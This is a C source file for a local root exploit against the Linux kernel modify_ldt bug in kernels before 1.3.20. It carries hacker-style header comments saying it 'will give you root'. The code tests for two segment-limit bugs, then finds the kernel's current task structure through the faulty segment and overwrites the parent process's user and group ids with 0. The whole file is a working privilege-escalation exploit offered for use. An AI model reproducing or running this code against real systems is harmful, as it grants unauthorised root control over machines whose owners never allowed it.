 

/* this is a hack of a hack.  a valid System.map was needed to get this 
   sploit to werk.. but not any longer.. This sploit will give you root
   if the modify_ldt bug werks.. which I beleive it does in any kernel 
   before 1.3.20 ..
   
   QuantumG
*/

/* original code written by Morten Welinder.
 *
 * this required 2 hacks to work on the 1.2.13 kernel that I've tested on:
 * 1. asm/sigcontext.h does not exist on 1.2.13 and so it is removed.
 * 2. the _task in the System.map file has no leading underscore.
 * I am not sure at what point these were changed, if you are
 * using this on a newer kernel compile with NEWERKERNEL defined.
 *                                          -ReD
 */

#include <linux/ldt.h>
#include <stdio.h>
#include <linux/unistd.h>
#include <signal.h>
#ifdef NEWERKERNEL
#include <asm/sigcontext.h>
#endif
#define __KERNEL__
#include <linux/sched.h>
#include <linux/module.h>

static inline _syscall1(int,get_kernel_syms,struct kernel_sym *,table);
static inline _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)


#define KERNEL_BASE 0xc0000000
/* ------------------------------------------------------------------------ */
static __inline__ unsigned char
__farpeek (int seg, unsigned ofs)
{
  unsigned char res;
  asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
       : "=a" (res)
       : "r" (seg), "r" (ofs));
  return res;
}
/* ------------------------------------------------------------------------ */
static __inline__ void
__farpoke (int seg, unsigned ofs, unsigned char b)
{
  asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
       : /* No results.  */
       : "r" (seg), "r" (ofs), "r" (b));
}
/* ------------------------------------------------------------------------ */
void
memgetseg (void *dst, int seg, const void *src, int size)
{
  while (size-- > 0)
    *(char *)dst++ = __farpeek (seg, (unsigned)(src++));
}
/* ------------------------------------------------------------------------ */
void
memputseg (int seg, void *dst, const void *src, int size)
{
  while (size-- > 0)
    __farpoke (seg, (unsigned)(dst++), *(char *)src++);
}
/* ------------------------------------------------------------------------ */
int
main ()
{
  int stat, i,j,k;
  struct modify_ldt_ldt_s ldt_entry;
  FILE *syms;
  char line[100];
  struct task_struct **task, *taskptr, thistask;
  struct kernel_sym blah[4096];

  printf ("Bogusity checker for modify_ldt system call.\n");

  printf ("Testing for page-size limit bug...\n");
  ldt_entry.entry_number = 0;
  ldt_entry.base_addr = 0xbfffffff;
  ldt_entry.limit = 0;
  ldt_entry.seg_32bit = 1;
  ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
  ldt_entry.read_exec_only = 0;
  ldt_entry.limit_in_pages = 1;
  ldt_entry.seg_not_present = 0;
  stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
  if (stat)
    /* Continue after reporting error.  */
    printf ("This bug has been fixed in your kernel.\n");
  else
    {
      printf ("Shit happens: ");
      printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
    }

  printf ("Testing for expand-down limit bug...\n");
  ldt_entry.base_addr = 0x00000000;
  ldt_entry.limit = 1;
  ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
  ldt_entry.limit_in_pages = 0;
  stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
  if (stat)
    {
      printf ("This bug has been fixed in your kernel.\n");
      return 1;
    }
  else
    {
      printf ("Shit happens: ");
      printf ("0x00000000 - 0xfffffffd is accessible.\n");
    }

  i = get_kernel_syms(blah);
  k = i+10;
  for (j=0; j<i; j++) 
   if (!strcmp(blah[j].name,"current") || !strcmp(blah[j].name,"_current")) k = j;
  if (k==i+10) { printf("current not found!!!\n"); return(1); }
  j=k;

  taskptr = (struct task_struct *) (KERNEL_BASE + blah[j].value);
  memgetseg (&taskptr, 7, taskptr, sizeof (taskptr));  
  taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) taskptr);
  memgetseg (&thistask, 7, taskptr, sizeof (thistask));  
  if (thistask.pid!=getpid()) { printf("current process not found\n"); return(1); }
  printf("Current process is %i\n",thistask.pid);
  taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) thistask.p_pptr);
  memgetseg (&thistask, 7, taskptr, sizeof (thistask));  
  if (thistask.pid!=getppid()) { printf("current process not found\n"); return(1); }
  printf("Parent process is %i\n",thistask.pid);
  thistask.uid = thistask.euid = thistask.suid = thistask.fsuid = 0;
  thistask.gid = thistask.egid = thistask.sgid = thistask.fsgid = 0;
  memputseg (7, taskptr, &thistask, sizeof (thistask));
  printf ("Shit happens: parent process is now root process.\n");
  return 0;
};


